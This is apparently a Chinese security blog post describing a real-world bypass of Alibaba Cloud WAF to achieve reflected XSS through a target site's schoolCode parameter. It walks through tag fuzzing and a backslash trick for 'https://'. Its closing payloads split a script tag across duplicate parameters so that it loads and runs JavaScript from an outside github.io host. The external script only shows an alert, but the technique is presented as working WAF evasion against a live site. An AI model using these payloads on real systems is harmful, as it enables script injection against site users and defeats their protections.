实战绕过阿里云WAF

发布时间:2022年04月25日 阅读:646 次

实战绕过阿里云WAF

WhITECat安全团队 2022-04-25 11:08

以下文章来源于Fighter安全团队 ,作者jammny


原创文章渗透实现渗透技术

原创声明:转载本文请标注出处和作者,望尊重作者劳动成果!感谢!


前言:下面的漏洞挖掘案例,将会用到上篇提到的几个挖掘技巧。


1、我发现目标站点是存在传参回显的,我在参数schoolCode中传入了一个值,接着返回的页面中回显了这个值。

图片

2、接着进行数组传参测试,构造了两个schoolCode参数进行传递,页面成功返回了jammny,jammny

图片



3、通过fuzz,可以看到<script>完整的标签是能够被使用的。

图片

4、云waf通常是通过语义检测攻击行为的,因此实际上很多标签都是可以被使用的。比如说<img>标签等:

图片


5、本次payload构造选择就使用<script>,先在自己的github.io页面上新建一个xss.js文件,用于src外部引用,内容为:alert(/xss/)

图片

6、正常引用肯定是被拦截的:

<script src="https://jammny.github.io/xss.js">

图片

7、不着急,慢慢绕。从右往左的顺序,挨个删直到没有拦截为止。直到如下情况:

拦截:<script src=https://>
未拦截:<script src=https:/>

图片

8、也就是说waf检测到https://就会被拦截。这里科普一个冷知识,可以使用\代替//进行绕过,效果是一样的:

https:\jammny.github.io ==> https://jammny.github.io

图片

9、重新开始补全路径,知道加入尖括号闭合后,被waf拦截。

图片

10、由于目标可以使用数组传参,因此可以通过构造多一个参数来分割payload。

<script src=https:\jammny.github.io/xss.js&schoolCode=>

图片

11、再自己整合一下payload,闭合好标签。就可以成功绕过waf执行xss了。

<script%20src=https:\jammny.github.io/xss.js%20&schoolCode=></script>

图片

图片


Tag:
相关文章

粤ICP备20011586号-1